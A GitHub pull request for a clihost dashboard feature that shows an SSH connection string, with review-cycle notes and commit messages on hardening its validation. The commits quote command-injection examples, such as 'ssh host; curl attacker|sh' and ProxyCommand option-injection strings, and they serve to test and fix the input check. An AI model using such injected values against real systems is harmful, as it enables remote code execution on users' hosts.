feat(dashboard): show SSH connection string on menu (#80) - #85
Conversation
Read the ssh-url file written by the tunnel (#79/#82) via load_ssh_url and render it on the dashboard next to the HAPI link. Mirrors the HAPI URL pipeline: config SSH_URL_FILE, views load_ssh_url + {{SSH_LINK}} gating, app.py handle_menu. The command is never interpreted, only displayed via html.escape; without a tunnel the SSH block is hidden entirely. Unit tests cover parsing and render gating.
🔍 Local review (cycle 1)Reviewed locally (Claude subagent + Codex companion), no bots pinged.
Триаж FIX (codex): HTML-инъекция закрыта ( Claude-ревью: критических нет, escaping/gating корректны, зеркалят проверенный паттерн Cycle 1/3: 1 FIX, 1 SKIP(→cleanup). |
load_ssh_url accepted any 'ssh ...' string as long as it lacked newline/CR/NUL,
so a payload like 'ssh host; curl attacker|sh' passed validation and was shown on
the dashboard for copy-paste. Reject the shell metacharacters ; | & $ ` \ < > ( ) { }
and any control character (ord < 0x20) so a second command cannot ride the
copy-paste path. Quotes, spaces and % stay allowed (legitimate cloudflared form).
Docstring updated to match the actual control-char coverage.
🔍 Local review (cycle 2)Reviewed locally (Claude subagent + Codex companion).
Триаж (подтверждён по коду): claim верен. Решение: переход с денилиста на allowlist двух известных грамматик (chisel Cycle 2/3: 1 FIX. Идём в cycle 3 (последний по лимиту). |
…rary ssh options) The denylist did not stop arbitrary ProxyCommand: ssh executes ProxyCommand locally before connecting, so 'ssh -o ProxyCommand="touch /tmp/pwned" hapi@host' passed validation and gave copy-paste RCE. Replace the denylist with an allowlist of two exact grammars via re.fullmatch (both ends anchored): 1. chisel: ssh -p <PORT> <USER>@<HOST> 2. cloudflared: ssh -o ProxyCommand="cloudflared access ssh --hostname %h" <USER>@<HOST> The cloudflared ProxyCommand value is pinned verbatim, so a hostile ProxyCommand, -F, LocalCommand, extra options, non-numeric port, host with / or :, and any shell metacharacter simply fail to match and are rejected.
✅ Local review (cycle 3/3) — APPROVEОба ревьюера (Claude subagent + Codex companion) на allowlist-версии
Cleanup-проход (6.5) — осознанно НЕ применённые миноры
Итог: ревью-цикл завершён за 3 раунда, поймано и исправлено 2 critical RCE-вектора (shell-chaining → денилист → allowlist). Merge — за владельцем (local mode не мержит сам). |
…d RCE (#92) Cycle-review (PR #96) — both Codex and the Claude reviewer independently reproduced host RCE: printf %q guards SHELL injection but NOT OPTION injection. A target starting with '-' is parsed by ssh/rsync as a flag, so CLIHOST_SSH_TARGET=-oProxyCommand=<cmd> runs <cmd> LOCALLY on the host during the preflight ssh — before any mount/symlink guard can contain it. Same class as the dashboard ProxyCommand issue (#85). Two reachable sinks: the ssh preflight and the rsync source/dest operands. Fix: - reject a target matching `-*` up front (die before any ssh/rsync). - defence-in-depth: `--` end-of-options before the ssh host and before the rsync positional operands, so a `-`-leading value can never be parsed as a flag. Tests: test_option_like_target_is_rejected_before_ssh_or_rsync plants `-oProxyCommand=touch <canary>` and asserts the run aborts and the canary never appears (fails on old code — canary was created); test_ssh_and_rsync_calls_use_ end_of_options_separator pins the `--` separators. Verified behaviorally: the hostile target is rejected, no ProxyCommand runs. pytest tests/ -> 389 passed, 208 subtests. Refs #92 Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Vecu5xo9D9Cs2vmeohKVKv
* feat: add clihost rsync sync command * fix(clihost-sync): reject option-like SSH target to block ProxyCommand RCE (#92) Cycle-review (PR #96) — both Codex and the Claude reviewer independently reproduced host RCE: printf %q guards SHELL injection but NOT OPTION injection. A target starting with '-' is parsed by ssh/rsync as a flag, so CLIHOST_SSH_TARGET=-oProxyCommand=<cmd> runs <cmd> LOCALLY on the host during the preflight ssh — before any mount/symlink guard can contain it. Same class as the dashboard ProxyCommand issue (#85). Two reachable sinks: the ssh preflight and the rsync source/dest operands. Fix: - reject a target matching `-*` up front (die before any ssh/rsync). - defence-in-depth: `--` end-of-options before the ssh host and before the rsync positional operands, so a `-`-leading value can never be parsed as a flag. Tests: test_option_like_target_is_rejected_before_ssh_or_rsync plants `-oProxyCommand=touch <canary>` and asserts the run aborts and the canary never appears (fails on old code — canary was created); test_ssh_and_rsync_calls_use_ end_of_options_separator pins the `--` separators. Verified behaviorally: the hostile target is rejected, no ProxyCommand runs. pytest tests/ -> 389 passed, 208 subtests. Refs #92 Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Vecu5xo9D9Cs2vmeohKVKv --------- Co-authored-by: axisrow <axisrow@users.noreply.github.com> Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Closes #80. Part of epic #73, follows up on the tunnel work (#79/#82).
Summary
Surfaces the SSH connection string (already written by the tunnel to
${HAPI_USER_HOME}/ssh-url) on the clihost dashboard, mirroring the existing HAPI relay-URL pipeline. Python-only; no Dockerfile/entrypoint changes.Changes
app/ttydproxy/config.py:SSH_URL_FILEenv var, default/home/hapi/ssh-url(matchesentrypoint.sh:267).app/ttydproxy/views.py:load_ssh_url(url_file)reads + validates the file;render_menu_page(username, hapi_url, ssh_conn=None)renders{{SSH_LINK}}as a non-clickable copyable<code class="ssh-link">block, gated on a valid string (hidden entirely when absent, like the HAPI item).app/ttydproxy/app.py:handle_menureads both files and passesssh_conntorender_menu_page.app/index.html:{{SSH_LINK}}placeholder next to{{HAPI_LINK}}+.ssh-linkCSS (monospace, copyable).tests/unit/test_load_ssh_url.py: new — valid chisel/cloudflared commands, missing/empty/whitespace, wrong prefix, baressh, newline/CR/NUL injection rejection.tests/unit/test_menu_views.py: extended — SSH block appears only with a command, hidden without it, command is HTML-escaped.Security
The connection string is never interpreted, only displayed via
html.escape(quote=True).load_ssh_urlrejects anything that is not a single non-empty line starting withssh(no embedded\n/\r/\x00), so a second command cannot ride the copy-paste path. Without a tunnel/file the SSH block is hidden entirely.Test plan